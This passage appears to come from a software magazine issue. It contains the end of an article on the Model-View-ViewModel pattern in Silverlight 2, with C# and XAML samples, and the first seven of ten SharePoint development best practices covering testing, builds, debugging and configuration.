public class GameLoadingEventArgs : EventArgs
{
  public IEnumerable<Game> Results { get; private set; }

  public GameLoadingEventArgs(IEnumerable<Game> results)
  {
    Results = results;
  }
}
Now that we have defined our interface, we can create the model class (GameCatalog) that implements the IGameCatalog interface. The GameCatalog class simply wraps the ADO.NET Data Service so that when a request for data comes in (GetGames or GetGamesByGenre), it executes the request and throws an event that contains the data (or an error, if one occurs). This code is meant to simplify access to the data without imparting any specific knowledge to the caller. The class includes an overloaded constructor to specify the URI of the service, but that is not always needed and could be implemented as a configuration element instead. Figure 3 shows the code for the GameCatalog class.
Figure 3 The GameCatalog Class
public class GameCatalog : IGameCatalog
{
  Uri theServiceRoot;
  GamesEntities theEntities;
  const int MAX_RESULTS = 50;

  public GameCatalog() : this(new Uri("/Games.svc", UriKind.Relative))
  {
  }

  public GameCatalog(Uri serviceRoot)
  {
    theServiceRoot = serviceRoot;
  }

  public event EventHandler<GameLoadingEventArgs> GameLoadingComplete;
  public event EventHandler<GameCatalogErrorEventArgs> GameLoadingError;
  public event EventHandler GameSavingComplete;
  public event EventHandler<GameCatalogErrorEventArgs> GameSavingError;

  public void GetGames()
  {
    // Get all the games ordered by release date
    var qry = (from g in Entities.Games
               orderby g.ReleaseDate descending
               select g).Take(MAX_RESULTS) as DataServiceQuery<Game>;

    ExecuteGameQuery(qry);
  }

  public void GetGamesByGenre(string genre)
  {
    // Get all the games ordered by release date
    var qry = (from g in Entities.Games
               where g.Genre.ToLower() == genre.ToLower()
               orderby g.ReleaseDate
               select g).Take(MAX_RESULTS) as DataServiceQuery<Game>;

    ExecuteGameQuery(qry);
  }

  public void SaveChanges()
  {
    // Save Not Yet Implemented
    throw new NotImplementedException();
  }

  // Call the query asynchronously and add the results to the collection
  void ExecuteGameQuery(DataServiceQuery<Game> qry)
  {
    // Execute the query
    qry.BeginExecute(new AsyncCallback(a =>
    {
      try
      {
        IEnumerable<Game> results = qry.EndExecute(a);

        if (GameLoadingComplete != null)
        {
          GameLoadingComplete(this, new GameLoadingEventArgs(results));
        }
      }
      catch (Exception ex)
      {
        if (GameLoadingError != null)
        {
          GameLoadingError(this, new GameCatalogErrorEventArgs(ex));
        }
      }

    }), null);
  }

  GamesEntities Entities
  {
    get
    {
      if (theEntities == null)
      {
        theEntities = new GamesEntities(theServiceRoot);
      }
      return theEntities;
    }
  }
}
Notice the ExecuteGameQuery method, which takes the ADO.NET Data Service query and executes it. This method executes the result asynchronously and returns the result to the caller.
Note that the model executes the query but simply fires events when it is complete. You might look at this and wonder why the model doesn't ensure that the events marshal the calls to the user interface thread in Silverlight 2. The reason is that Silverlight (like its other user interface brethren, such as Windows Forms and WPF) can only update the user interface from a main or UI thread. But if we do that marshaling in this code, it would tie our model to the user interface, which is exactly counter to our stated purpose (separating the concerns). If you assume that the data needs to be returned on the UI thread, you bind this class to user interface calls, but this is antithetical to why you use separate layers in an application.

Views and the View Model
It might seem obvious to create the view model to expose data directly to our view class(es). The problem with this approach is that the view model should only expose data that is directly needed by the view; therefore, you need to understand what the view needs. In many cases, you will be creating the view model and the view in parallel, refactoring the view model when the view has new requirements. Although the view model is exposing data to the view, the view is also interacting with the entity classes (indirectly because the model's entities are being passed to the view by the view model).
In this example, we have a simple design that is used to browse XBox 360 game data, as shown in Figure 4. This design implies that we need a list of Game entities from our model filtered by genre (selected via the drop-down list). To fulfill this requirement, the example needs a view model that exposes the following:
  • A data-bindable Game list for the currently selected genre.
  • A method to make the request for the genre selected.
  • An event that alerts the UI that the list of games has been updated (because our data requests will be asynchronous).
Figure 4 Example User Interface
Once our view model supports this set of requirements, it can be bound to the XAML directly, as shown in GameView.XAML (located in the MVVM.Client project). This binding is implemented by creating a new instance of the view model in the Resources of the view and then binding the main container (a Grid in this case) to the view model. This implies that the entire XAML file will be data bound based on the view model directly. Figure 5 shows the GameView.XAML code.
Figure 5 GameView.XAML
// GameView.XAML
<UserControl x:Class="MVVM.Client.Views.GameView"
             xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
             xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
             xmlns:data="clr-namespace:MVVM.Client.Data;assembly=MVVM.Client.Data">

  <UserControl.Resources>
    <data:GamesViewModel x:Key="TheViewModel" />
  </UserControl.Resources>

  <Grid x:Name="LayoutRoot"
        DataContext="{Binding Path=Games, Source={StaticResource TheViewModel}}">
    ...
  </Grid>
</UserControl>
Our view model needs to fulfill these requirements using an IGameCatalog interface. In general, its useful to have the default constructor of a view model create a default model so that binding to the XAML is easy, but you should also include an overload of the constructor in which the model is supplied to allow for scenarios such as testing. The example view model (GameViewModel) looks like Figure 6.
Figure 6 GameViewModel Class
public class GamesViewModel
{
  IGameCatalog theCatalog;
  ObservableCollection<Game> theGames = new ObservableCollection<Game>();

  public event EventHandler LoadComplete;
  public event EventHandler ErrorLoading;

 public GamesViewModel() :
    this(new GameCatalog())
  {
  }

  public GamesViewModel(IGameCatalog catalog)
  {
    theCatalog = catalog;
    theCatalog.GameLoadingComplete +=
      new EventHandler<GameLoadingEventArgs>(games_GameLoadingComplete);
    theCatalog.GameLoadingError +=
      new EventHandler<GameCatalogErrorEventArgs>(games_GameLoadingError);
  }

  void games_GameLoadingError(object sender, GameCatalogErrorEventArgs e)
  {
    // Fire Event on UI Thread
    Application.Current.RootVisual.Dispatcher.BeginInvoke(() =>
      {
        if (ErrorLoading != null) ErrorLoading(this, null);
      });
  }

  void games_GameLoadingComplete(object sender, GameLoadingEventArgs e)
  {
    // Fire Event on UI Thread
    Application.Current.RootVisual.Dispatcher.BeginInvoke(() =>
      {
        // Clear the list
        theGames.Clear();

        // Add the new games
        foreach (Game g in e.Results) theGames.Add(g);

        if (LoadComplete != null) LoadComplete(this, null);
      });
  }

  public void LoadGames()
  {
    theCatalog.GetGames();
  }

  public void LoadGamesByGenre(string genre)
  {
    theCatalog.GetGamesByGenre(genre);
  }

  public ObservableCollection<Game> Games
  {
    get
    {
      return theGames;
    }
  }
}
Of particular interest in the view model are the handlers for GameLoadingComplete (and GameLoadingError). These handlers receive events from the model and then fire events to the view. What is interesting here is that the model passes the view model the list of results, but instead of passing the results directly to the underlying view, the view model stores the results in their own bindable list (ObservableCollection<Game>).
This behavior occurs because the view model is being bound directly to the view, so the results will show up in the view via the data binding. Because the view model has knowledge of the user interface (because its purpose is to fulfill UI requests), it can then make sure that the events that it fires happen on the UI thread (via Dispatcher.BeginInvoke, although you can use other methods for calling on the UI thread if you prefer).

Concessions to Silverlight 2
The MVVM pattern is used throughout many WPF projects to great success. The problem with using it in Silverlight 2 is that to make this pattern easy and seamless, Silverlight 2 really needs to support Commands and Triggers. If that were the case, we could have the XAML call the methods of the view model directly when the user interacts with the application.
In Silverlight 2 this behavior requires a bit more work, but luckily it involves writing only a little code. For example, when the user selects a different genre using the drop-down list, we would like to have a Command that executes the GameViewModel.GetGameByGenre method for us. Because the infrastructure required is not available, we simply have to use code to do the same thing. When the combo box's (genreComboBox) selection changes, the example loads the Games from the view model manually in code instead of in a Command. All that is required here is that the request to load the data happens—because we are bound to the list of Games, the underlying view model will simply change the collection we are bound to and the updated data appears automatically. You can see this code in Figure 7.
Figure 7 Updating Data in the UI
void genreComboBox_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
  string item = genreComboBox.SelectedItem as string;
  if (item != null)
  {
    LoadGames(item);
  }
}

void LoadGames(string genre)
{
  loadingBar.Visibility = Visibility.Visible;
  if (genre == "(All)")
  {
    viewModel.LoadGames();
  }
  else
  {
    viewModel.LoadGamesByGenre(genre);
  }

}
There are several places where the lack of element binding and commands will force Silverlight 2 developers to handle this behavior in code. Because the code is part of the view, this does not break the layering of the application, it is just not as straightforward as the all-XAML examples you will see in WPF.

Where We Are
Silverlight 2 does not require you to build monolithic applications. Layering Silverlight 2 applications is straightforward using the Model-View-ViewModel pattern that we happily borrow from our WPF brethren. Furthermore, using this layering approach allows you to loosely couple the responsibilities in your applications so that they are easier to maintain, extend, test, and deploy.
I'd like to thank the Laurent Bugnion (author of Silverlight 2 Unleashed) as well as others on the WPF Disciples mailing list for their help in completing this article. Laurent blogs at blog.galasoft.ch.

Shawn Wildermuth is a Microsoft MVP (C#) and the founder of Wildermuth Consulting Services. He is the author of several books and numerous articles. In addition, Shawn currently runs the Silverlight Tour teaching Silverlight 2 around the country. He can be contacted at shawn@wildermuthconsulting.com.


SharePoint
10 Best Practices For Building SharePoint Solutions
E. Wilansky, T. Stojecki, P. Olszewski and S. Kowalewski
Code download available from the MSDN Code Gallery
Browse the Code Online

This article discusses:
  • Taking advantage of built-in SharePoint capabilities
  • Deploying SharePoint solutions
  • Creating testable code
  • Branding SharePoint for scale and maintenance
 This article uses the following technologies:
WSS, Visual Studio Extensions for SharePoint3
Contents
1. Know When to Cross the Divide
2. Take Advantage of Native SharePoint Capabilities
3. Know Critical SPDev Tasks and Information Sources
4. Develop Solutions Off-Server
5. Testing Code and Managing Dependencies
6. Continuous Integration and Automated Build
7. Have SharePoint Manage Custom Config Settings
8. Know Where Configuration Settings Belong
9. Brand SharePoint for Scale and Maintenance
10. Build Deployable Solutions
Enough Said
Additional Tips
Use Relative Links Whenever Possible
Creating Custom Master Pages
Dealing with InfoPath Projects in an Automated Build
The challenges facing developers who work with Windows SharePoint Services 3.0 (WSS) and Microsoft Office SharePoint Server 2007 (MOSS) are as deep and wide as the SharePoint platform itself. If you're new to this platform, the practices we explore in this article will lead you in the right direction. If you're an experienced SharePoint developer, these tips should help reinforce your knowledge, encourage discussion, and ultimately lead to building great SharePoint applications. In addition, we've provided a number of online references where you can learn more about the topics we discuss.

1. Know When to Cross the Divide
An issue that arises early in a SharePoint development project is how best to interact with other systems. Because SharePoint is a composite application platform, this question is one you will likely have to answer often. Viewing the SharePoint architecture from the Web application level is the easiest way to go about it. An instance of SharePoint contains multiple Web applications. If you are not familiar with SharePoint application architecture, you should review "Architectural Overview of Office SharePoint Server 2007."
Figure 1 shows typical approaches for interacting with SharePoint within a Web application, between Web applications, and with external systems. We'll cover each of these interactions in the rest of this section.
Figure 1 SharePoint System Interaction Model
Use the SharePoint object model when you are writing Web Parts, ASP.NET form codebehind, or Web controls that run in the context of a specific Web application (see Figure 1). The SharePoint object model provides a rich set of classes through which to interact with SharePoint. The Windows SharePoint Services 3.0 and Microsoft Office SharePoint Server SDKs provide good coverage of these classes.
Context is an important consideration when handling SharePoint Web (SPWeb) or site (SPSite) disposal. For important information about when you need to explicitly dispose of these objects by using the Dispose method or a using statement, see "Getting References to Sites, Web Applications, and other Key Objects" and "Best Practices: Using Disposable Windows SharePoint Services Objects."
From the perspective of the SharePoint object model, a SharePoint Web application is an important security boundary. Typically, you should not use the SharePoint object model for interactions between SharePoint Web applications. See "Security Programming in SharePoint 2007" for information about other important SharePoint security topics.
When making calls between SharePoint Web applications and between SharePoint and external applications, such as an Office client application, use the SharePoint Web service integration layer. This is a good approach when attempting off-server development tasks in Visual Studio. See the "Develop Solutions Off-Server" section for details.
To interact with other systems, making calls to external Web services is the most common approach, but it is not always the best approach. Some alternatives might be easier to implement, and they might also have the benefit of being significantly faster—for example, making calls to LDAP stores via the Microsoft directory services programming framework or making calls to Project Server via ADO.NET to the Project Server Reporting database rather than via the Project Server Interface (PSI) Web services layer. When the data source is a Web service or database, consider using the Business Data Catalog (BDC). For more information, see the next section in this article, "Take Advantage of Native SharePoint Capabilities."
Microsoft is very clear in its documentation that you should not make calls directly to the SharePoint content and configuration databases. Even so, some applications are using this approach. Whether performance is the argument for this access technique or simply a lack of knowledge about the SharePoint framework, there are safer approaches.
The bottom line is that Microsoft can change the underlying schema in these databases, and there can be more than one content database per Web application. Therefore, seemingly benign direct query operations can lead to brittle solutions. Instead, take advantage of the other approaches outlined in this article or develop a different strategy that avoids suboptimal solutions that compromise the integrity of your SharePoint implementations.

2. Take Advantage of Native SharePoint Capabilities
Two situations can lead development teams away from taking full advantage of the native capabilities in SharePoint. First, because SharePoint is such an expansive platform, you might find it easier to build custom solutions rather than spend time to understand what SharePoint provides without custom coding. Second, business owners tend to create detailed requirements, wireframes, and application behaviors that leave you with little flexibility when it comes to using out-of-the-box (OOB) capabilities.
But embracing what the SharePoint platform provides often pays dividends, even if the resulting deliverable deviates slightly from the original requirements. The keys to gaining this advantage are for the development team to thoroughly understand the technology and, more importantly, to clearly communicate the value and tradeoffs of a particular implementation to the business owner.
Acquiring a solid understanding of the strengths and weaknesses of SharePoint is easier said than done. Both WSS and MOSS include SDKs that contain technical documentation, walkthroughs, code samples, and best practices for programming solutions in SharePoint. Also, when information is hard to find, you can use .NET Reflector to look inside some of the core SharePoint assemblies. Figure 2 shows the members of the PeopleQueryControl class in the Microsoft.SharePoint assembly, including the IssueQuery method. The PeopleEditor control (aka People Picker) delegates responsibility for querying SharePoint's identity store to PeopleQueryControl and lets you override the IssueQuery method to modify the default implementation. As you can see in the figure, .NET Reflector gives you an inside look into how the components interact.
Figure 2 NET Reflector Showing the IssueQuery Method of the PeopleQueryControl
Equipped with knowledge about the capabilities of the platform, you need to articulate the benefits of a particular implementation to the stakeholders in a way that underscores the value of their investment in the technology. It's especially important with a platform the size of SharePoint not to get hung up early about implementation details but to help the client learn what is possible by releasing early and iterating often. Be sure that your client is familiar with the features of the product by putting in place an effective feedback mechanism that keeps them engaged throughout the entire software development life cycle (SDLC).
Imagine a discussion about displaying a large selection list of entities to a user. You can implement this capability in many ways, such as with the ASP.NET DropDownList control, the GridView control, a custom control, or a third-party control. SharePoint itself also provides a large list-selection control in the PeopleEditor or its base class, the EntityEditorWithPicker control, that you can use for this purpose. These Web controls come with many hooks for injecting your own custom logic, and by using them you take advantage of a rich and intuitive user interface and create a consistent user experience in SharePoint. See "Customizing EntityEditorWithPicker" for an example of how to override methods of the PeopleEditor Web control.
Presenting line-of-business (LOB) data inside SharePoint is another common request. Typically, you start by identifying the gold-source of the data and determining how best to pull that data into SharePoint. Creating Web service proxies or establishing ADO.NET connections to databases is old-hat for many developers. However, the BDC is possibly a better alternative. This SharePoint facility enables you to read data from external data sources and present it inside SharePoint. The BDC supports a wide variety of authentication mechanisms, allows you to create associations between data entities, and is tightly tied to the SharePoint search and list infrastructures.
In addition, SharePoint includes a suite of Web Parts for presenting LOB data through the BDC. And while the BDC doesn't currently support create, update, and delete operations directly, you can create custom applications to perform these operations and associate them with the BDC through the BDC actions interface. For more information, see the Business Data Catalog topics in the "Resources" sidebar.

3. Know Critical SPDev Tasks and Information
The purpose of this section is to elucidate common tasks that every SharePoint developer might need to complete during software development. This is not a tool review, nor is it intended to promote one tool over another. Instead, we provide suggestions for tools that you can use to complete common SharePoint development tasks.
Building SharePoint solutions is an approach you'll want to take. Ted Pattison sums it up nicely in his Office Space column "Solution Deployment with SharePoint 2007" when he writes, "Packaging up and deploying your WSS development efforts using solution packages is a best practice, and knowing how to do this should be considered an essential skill." There are numerous ways to package your SharePoint solutions, from manual creation of manifest.xml and diamond directive files (DDFs), to Visual Studio projects that use the Windows SharePoint Services 3.0 Tools: Visual Studio 2005/2008 Extensions (VSeWSS).
Using VSeWSS projects is significantly easier than manually creating DDFs. However, some alternatives are particularly useful for commercial or enterprise deployments, including WSPBuilder, STSDev, SPDeploy, and DDFGenerator. Evaluate the various tools to find one that best fits your needs. The key is to create Solution packages for deployment rather than deploying code components manually.
Debugging client-side behavior can be tricky, and tools such as the Internet Explorer Developer Toolbar (Developer Tools in Internet Explorer 8) make that effort significantly easier. Internet Explorer Developer Toolbar is similar to Firefox add-ons such as FireBug. Another tool that runs in Internet Explorer is the Web Development Helper. Both of these tools are useful for debugging client-side JavaScript, inspecting styles, and walking the DOM. If you need to inspect interaction with IIS, the IIS 6.0 Resource Kit contains a plethora of useful tools. For example, WFetch provides a handy facility for inspecting page output information, such as the output of a custom HTTP handler or authentication header information to verify what authentication protocol you're using, as shown in Figure 3.
Figure 3 WFetch Showing an NTLM Authentication Header
Troubleshooting server-side code issues can be particularly difficult in SharePoint because errors are obscured behind moderately friendly (though not very helpful) Web pages or in logs following Web service calls. The most important takeaways here are to know where SharePoint logs data and when to make use of a debugger and to be familiar with tools that can help you troubleshoot your SharePoint applications.
One place to start when trying to determine what is causing an application problem is the Windows event logs. In some cases, you can use options for increasing event logging. For example, if you are working with an application that relies on Kerberos authentication, you can increase Kerberos logging to the System event log. There are numerous excellent online resources explaining Kerberos authentication. For concise information on verbose Kerberos logging in Windows Server 2003, take a look at "Kerberos Protocol Registry Entries and KDC Configuration Keys in Windows Server 2003."
The SharePoint and IIS logs are critical to troubleshooting SharePoint application errors. Here's some brief information about these two critical logging sources:
  • The SharePoint logs are located at <%CommonProgramFiles%>\Microsoft Shared\Web Server Extensions\12\LOGS. You can simplify reading these logs by installing the Log Viewer feature.
  • The IIS logs are typically located at <%SystemRoot%>\System32\LogFiles. Look in the properties of IIS to verify the root location of the logs. Since each IIS Web application has a unique ID, you just match the IIS application ID for the SharePoint Web application listed in IIS with the folder name under the LogFiles directory.
For custom application logging, consider Enterprise Library integration. By incorporating the Enterprise Library Logging and Exception Handling Application Blocks in your code, your logging target, typically a database, can contain logging information and exception detail critical to troubleshooting your custom apps.
The most useful tool for debugging custom application problems is the Visual Studio debugger. If you have Visual Studio installed on your SharePoint server, you have F5 debugging capability. Ideally, you should not have Visual Studio installed on production or model office systems. In addition, you can develop software on local workstations and debug solutions remotely. Remote debugging is fully supported in SharePoint by connecting to the w3wp process hosting your custom application in IIS.
To determine which instance of w3wp is running your application, open a command prompt and run IISApp.vbs on your Windows server to identify the process ID (PID) running your SharePoint Web application. Then, in Visual Studio, select the instance of w3wp with the matching PID.
Another very helpful tool is Exception Display. When you enable this tool on your farm, it replaces the friendly SharePoint error page message with a number of exception display types. For details on how to install and use this tool, click "Exception Display" at the link listed above.
If a deployed Web Part is causing a page load failure, you can open the Web Part maintenance page by appending ?content=1 to the end of the page URL. On the maintenance page, you can close or delete the offending Web Part from the page.
Finally, you can enable application-level tracing in the web.config file of your Web application. See the discussion in "Enabling Application-Level Tracing."
Keep extending the framework. SharePoint is more than capable of integrating custom solutions in a variety of ways. Because SharePoint is built on top of ASP.NET, it inherits the extensibility points of this platform. With the release of WSS 3.0/MOSS SP1, Microsoft now supports the ASP.NET AJAX framework, which means you can take advantage of the ASP.NET AJAX Extensions and the AJAX Control Toolkit. You can ease the installation and configuration procedure by using the Ajaxify MOSS custom stsadm extensions that programmatically add or remove AJAX-related web.config entries by using the SPWebConfigModification class.
With the framework in place, you can use the AJAX control suite and improve the responsiveness of your pages by implementing client-side callbacks. This is particularly important when making external Web service calls in custom Web Parts. See "Client-Side Web Service Calls with AJAX Extensions."
jQuery is another client-side framework that is getting a lot of attention, especially with the recent announcement by Microsoft that it will be supported in Visual Studio. Since the jQuery core library is contained in a single .js file, integrating it into SharePoint is simple. See "jQuery Script Manager" for an approach to embedding jQuery scripts into an ASP.NET Web page.
If you're looking for information about Silverlight integration, see "Light Up SharePoint with Silverlight 2 Web Parts." The authors explore an example of integrating a Silverlight application with SharePoint.

4. Develop Solutions Off-Server
Whenever possible, you should build your solutions free of the dependencies that SharePoint development often imposes. By using the Visual Studio development server, ASP.NET Web Part framework support, SharePoint Web services, and third-party tools, you can complete most of your development on a standard workstation rather than on a computer running SharePoint.
Because SharePoint runs on top of IIS and ASP.NET, the Web development server included with Visual Studio is an excellent starting point for much of your SharePoint development. For example, you can develop Web Parts, HTTP handlers, and Web controls in this, relatively speaking, lightweight environment.
Some initial work is involved in setting up the environment to host your components. For example, to effectively develop an ASP.NET Web Part, you should create a class project to host your Web Part, a Visual Studio Web Application project, and optionally a unit test project. We have included an example of this setup in the Visual Studio SPTips solution (included with the article's sample code) that you can use for off-server Web Part development.
In the Web Part project, the default constructor contains a line that sets the ExportMode property of the Web Part:
public WebPartOffServerExample()
{
    this.ExportMode = WebPartExportMode.All;
}
This line allows you to generate a .webpart deployment file based on the properties you configure for the Web part, as shown in Figure 4.
Figure 4 The Web Part Export Menu Option
You can then import the Web Part into SharePoint via this deployment file (Figure 5). You should not use the SharePoint 2003 backward-compatible import file type, .dwp. The underlying XML schema for a .dwp isn't as rich and requires that you reference the Microsoft.SharePoint assembly early in the SDLC.
Figure 5 The Web Part Imported into Share-Point
Note that you can ensure the creation of .webpart deployment files by inheriting from the WebPart class in the System.Web.UI.WebControls.WebParts namespace rather than the Microsoft.SharePoint.WebPartPages namespace. (For examples of when you might want to inherit from SharePoint's WebPart class, see the source listed in the "Resources" sidebar.)
Microsoft exposes a significant subset of the SharePoint object model through Web services. Using SharePoint Web services to access the object model allows you to develop a solution without a dependency on direct access to SharePoint assemblies. SharePoint hosts the Web services in the _vti_bin virtual directory on each Web Front End (WFE) server.
In Visual Studio, you add SharePoint Web services to a solution in the same manner as you do any Web service reference. SharePoint Web service URLs have the following format:
http://<SharePointServer>:port/[sites/][SubSite/]_vti_bin/WebService.asmx
where <SharePointServer> is the URL associated with the Web application. For example:
http://www.contoso.com:35000/_vti_bin/Lists.asmx
When you add a Web service reference, Visual Studio creates proxy classes for both the service and the data types used by the service. For more information on interacting with these Web services, please see "WSS SDK 3.0 Topic: Web Service Guidelines" and "SharePoint Web Services."
Implementing a three-tiered architecture furthers the goal of isolating code and removing dependencies on SharePoint and other outside sources. This approach can improve your ability to develop off server by abstracting business, data access, and UI logic from one another, enabling you to break code into manageable pieces and reduce dependencies between them. This approach also yields more testable code; more on this in the section "Testing Code and Managing Dependencies".
There are other tools you can use. Removing the dependency on SharePoint across the entire codebase is unrealistic. Developing for SharePoint off server generally requires the use of a SharePoint instance, usually hosted in a virtual machine, early in the SDLC. With the growth of SharePoint development, several tools have been created to deal with this significant dependency. One such tool is Bamboo Solutions' SharePoint on Vista Installation Helper. This tool enables the installation of WSS 3.0 SP1 or MOSS 2007 SP1 on Windows Vista, giving you the ability to develop SharePoint-dependent solutions without needing Windows Server.
Microsoft does not support running SharePoint in this way. However, this approach has resonated in the SharePoint development community because it helps reduce the footprint that this dependency on SharePoint creates. For further information, see "How to install Windows SharePoint Services 3.0 SP1 on Vista x64/x86."

5. Testing Code and Managing Dependencies
The widespread adoption of unit test frameworks and related test tools has naturally made its way into SharePoint development. Unit tests and integration tests are two primary test categories. Both test types exhibit different characteristics and require the use of different tools and techniques.
When writing unit or off-server tests, it's considered a best practice to simulate external dependencies with substitutes such as stubs or mocks. By passing in objects that mimic external dependencies, your test becomes faster and more focused on the behavior you are testing. To be effective, this approach requires that you follow the principles of testable, object-oriented design, or use a specialized framework for isolating tightly coupled components of your solution.
Identify the behaviors and business rules that are infrastructure independent and make sure you have a strategy for testing them in isolation. To isolate interactions with SharePoint, a database, or a Web service, you can introduce the Repository pattern to abstract away the details of the back-end system. These repository objects can be passed into higher level components by using inversion of control (IoC) and dependency injection (DI) principles. For information on IoC and DI, see "Tame Your Software Dependencies for More Flexible Apps."
To increase the testability of your presentation components implement the Model-View-Presenter (MVP) pattern. For more information about testable code patterns, see "Design for Testability."
Other major challenges that SharePoint developers face when unit testing deal with the SharePoint object model. Simply put, testing those components in isolation is a nontrivial task. It is a direct result of a limited number of interfaces and abstractions as well as a high number of sealed classes—classes with inner dependencies or without a public constructor.
One product equipped to deal with these shortcomings is TypeMock Isolator, a commercial mocking framework that allows for mocking of sealed, concrete, static, or internally constructed classes. For other mocking frameworks to be applicable, you need to adhere to patterns and principles we have already eluded to. TypeMock Isolator or its new SharePoint-specific version, Isolator for SharePoint, will work around these limitations and allow for increased code coverage without relying on a running instance of SharePoint. The patterns and practices (P&P) team also uses TypeMock Isolator in their SharePoint Guidance reference architecture.
At some point, you will have to write integration tests that are dependent on the SharePoint object model. It is good practice to manage your unit tests that are sever-independent from those that are server-dependent.
You can use the Test List Editor in the Test Manager in Visual Studio to separate your unit and integration tests. For instance, you could create two lists of tests: server dependent and server independent (see Figure 6). This approach allows you to select which set of tests to run, depending on whether or not you're on the server.
Figure 6 The Test List Editor Showing a Categorized Test List
In cases in which Visual Studio is installed on the server, you can run and debug your tests in the IDE or use the MSTest.exe command-line tool to run server dependent tests. Unfortunately, MSTest does not run unless Visual Studio is installed on the server. Our hope is that a future version of MSTest will not include this heavy dependency.
MSTest.exe allows you to specify which tests you want to run through command-line arguments. When you run MSTest.exe, you must specify either the /testcontainer or the /testmetadata option. By using the /testmetadata option, you can specify which tests will run. For example, to run all server-dependent tests, type:
MSTest /testmetadata:SPTips.vsmdi /testlist:ServerDependentTests
To run a specific test within the server-dependent tests, type:
MSTest /testmetadata:SPTips.vsmdi /test:GetTasks_ShouldReturnTasks
For examples of on-server tests and tests using a mocking framework, see the sample code in the Visual Studio SPTips solution included with this article's code download.

6. Continuous Integration and Automated Build
Keeping code in source control, relying on continuous integration, and automating the build process are essential steps to efficient release of high-quality code assets. SharePoint makes the setup of this environment challenging, to say the least. For this tip, the most important starting point is the "Team Development Overview" topic.
Later in the overview, you'll see the SharePoint Guidance topic "How to: Create an Automated Build and Deployment Solution with Team Foundation Server Build." This topic focuses on creating build targets to build and deploy solutions. While this method has merit, it is not useable when the TFS build and SharePoint servers do not reside in the same environment, as is often the case in the enterprise. Building your solution packages using targets limits the use of packages to the automated build environment and thus does not encourage early development and testing of packages by developers.
The alternative is to use post-build events within Visual Studio. The post-build events can be set up to perform the same packaging steps as the MSBuild targets and allow developers to build packages for deployment to their own sandbox environments. This approach also works with third-party tools such as WSPBuilder and STSDEV.
When deploying to the enterprise, you might also need to consider versioning solution packages. Tying the solution version to the current build version is one approach. This can be facilitated by using custom application code run in the AfterBuild MSBuild event or from the post-build event. Also consider solution IDs in the automated build and whether to generate new IDs with each build. This decision will impact your ability to upgrade solutions in the future. As a general rule, generate new solution IDs when assembly versions change. Otherwise, keep the solution IDs the same where version IDs are static between builds.
Rather than repeat information that you can get from the SharePoint Server Developer Center, we will augment this tip by focusing on how to further simplify the automated build process. In the SharePoint guidance topic "How to: Create an Automated Build and Deployment Solution with Team Foundation Server Team Build," the P&P team assumes you are using VSeWSS/extensions.
While VSeWSS is a fantastic addition to a SharePoint developer's toolkit, with capabilities like the WSPView panel that allows you to configure your solution on the fly, we've found that it is not well suited for medium to large implementations or teams that follow agile development methodologies.
The P&P SharePoint guidance team documentation states that VSeWSS provides one-click deployment and F5 debugging. The one-click deployment capability is certainly part of VSeWSS, but the F5 debugging capability has more to do with the fact that you must run Visual Studio local to your instance of SharePoint. This is a requirement for installing VSeWSS. Although you can use a registry hack for getting VSeWSS installed on a workstation, most of the extension's benefit is lost when installed on a workstation.
The documentation also states that many tools such as WSPBuilder and STSDEV require developers to maintain Feature.xml and Manifest.xml files for SharePoint solution packaging in a Web solution package. In reality, these tools are constantly evolving. For example, WSPBuilder now includes extensions that allow easy maintenance of Feature.xml and Manifest.xml in Visual Studio 2005 and 2008.
VSeWSS is most useful when you are unsure about how to structure a SharePoint project. For example, you might want to use a VSeWSS project type to determine the structure of a Web Part or a SharePoint Workflow project. Once you know how, you can take that information and move it to a ubiquitous project type. The primary issues around using VSeWSS for a medium to large project are as follows:
  • The extensions are designed to be installed on an instance of Visual Studio running on a SharePoint server. Therefore, they have a hard dependency on WSS.
  • Developers who have not installed VSeWSS will not have the special project types that VSeWSS creates and will not be able to open projects that rely on them.
  • Rebuilding a solution is made more complicated by VSeWSS.
The guidance documentation suggests that the other approach is to manually create a SharePoint solution file for each Visual Studio solution, along with the deployment manifest manifest.xml. However, tools such as WSPBuilder allow you to automate this step within your build.
The keys to a successful automated build are:
  • Use standard Visual Studio project types (i.e., class projects for Web Parts) so that all developers can easily open a project.
  • Structure your code project so that solution packaging is integrated into the project, as shown in Figure 7. There is no need to create a separate deployment project.
  • Set up a post-build event to run WSPBuilder or another automated solution building tool to build the Sharepoint solution file. This approach works both for local deployment of the solution and for the automated build process.
  • Use Macro conditions to control the parts of your post-build event that get called depending on where the build is occurring.
  • An automated build is further complicated by an InfoPath project. For information on this, see the tip "Dealing with InfoPath Projects in an Automated Build" in the online version of this article.
Figure 7 Solution Packaging Structure Integrated into the Web Part Project Code Download
Don't deploy to the global assembly cache (GAC) until you move to an integration environment. Keeping assemblies in the BIN folder makes debugging custom SharePoint applications significantly easier. There are certain project types that don't fit this model, such as SharePoint event handlers and SharePoint Features. By placing compatible assemblies in the BIN folder, developers in a shared development environment won't have to endure frequent IIS resets after each deployment.
Some pointers for running SharePoint assemblies from the BIN are:
  • Decorate your assembly with the [assembly:System.Security.AllowPartiallyTrustedCallers] attribute.
  • Configure custom code access security (CAS) policy or set web.config to full trust, as shown here:
<system.web>
  <trust level="Full" />
</system.web>
(Note that setting the trust level to full is only appropriate for local or internal development where your code assets will eventually be deployed to the GAC.)
  • Sign your assemblies for eventual deployment to the GAC.

7. Have SharePoint Manage Custom Config Settings
Like any application, SharePoint solutions rely on configuration settings to operate properly. A custom application with only a few configuration settings may be easy to manage manually. In contrast, when developing enterprise or commercial applications in SharePoint, the number of configuration settings can be considerable.
As a result, knowing the different setting types and how to manage them is important to developing, deploying, and managing applications. The best approach is to increase the number of settings that SharePoint manages and reduce the number of settings managed manually.
Understanding the types of settings helps identify where the settings belong. SharePoint configuration settings generally fall into three categories: core, custom, and SharePoint settings.
Core settings are used across a SharePoint Web application. Enterprise Library application blocks and external Web services configurations are examples of typical core settings.
Custom settings are for custom build components. These settings are used to provide configuration settings for the custom component and are not shared outside the component. For example, custom settings could be used to provide directory server settings for an LDAP lookup.
SharePoint settings are required to make the solution work within SharePoint. Settings in this category include SafeControls entries, SessionState customizations, or registering HttpModules.
After you categorize your settings, you can deploy them to the right locations to manage them. The goal is to reduce the number of settings managed manually. Letting SharePoint handle settings reduces the number of errors that can occur when applications are deployed.
Core settings are best managed in source control. This allows for maintaining a settings history while providing a single source of truth for the settings. In addition, this approach allows for maintaining discrete versions of configuration files for development, test, and production environments.
